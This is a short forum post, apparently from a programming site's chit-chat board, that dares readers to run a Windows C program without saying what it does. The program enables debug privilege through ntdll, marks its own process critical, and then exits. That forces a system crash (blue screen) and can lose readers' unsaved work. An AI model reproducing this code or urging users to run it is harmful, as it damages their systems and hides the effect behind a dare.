敢运行吗?
  • 板块灌水区
  • 楼主anlinliu
  • 当前回复0
  • 已保存回复0
  • 发布时间2024/8/20 19:44
  • 上次更新2024/8/20 19:44:59
查看原帖
敢运行吗?
1389317
anlinliu楼主2024/8/20 19:44
#include <windows.h>

int main() {
    typedef NTSTATUS(WINAPI *RtlSetProcessIsCritical) (BOOLEAN, PBOOLEAN, BOOLEAN);
    typedef BOOL(WINAPI *RtlAdjustPrivilege) (ULONG, BOOL, BOOL, PBOOLEAN);
    RtlAdjustPrivilege AdjustPrivilege;
    RtlSetProcessIsCritical SetCriticalProcess;
    HANDLE ntdll = LoadLibrary(TEXT("ntdll.dll"));
    AdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress((HINSTANCE)ntdll, "RtlAdjustPrivilege");
    SetCriticalProcess = (RtlSetProcessIsCritical)GetProcAddress((HINSTANCE)ntdll, "RtlSetProcessIsCritical");
    BOOLEAN b;
    AdjustPrivilege(20UL, TRUE, FALSE, &b);
    SetCriticalProcess(TRUE, NULL, FALSE);
    return 0;
}
2024/8/20 19:44
加载中...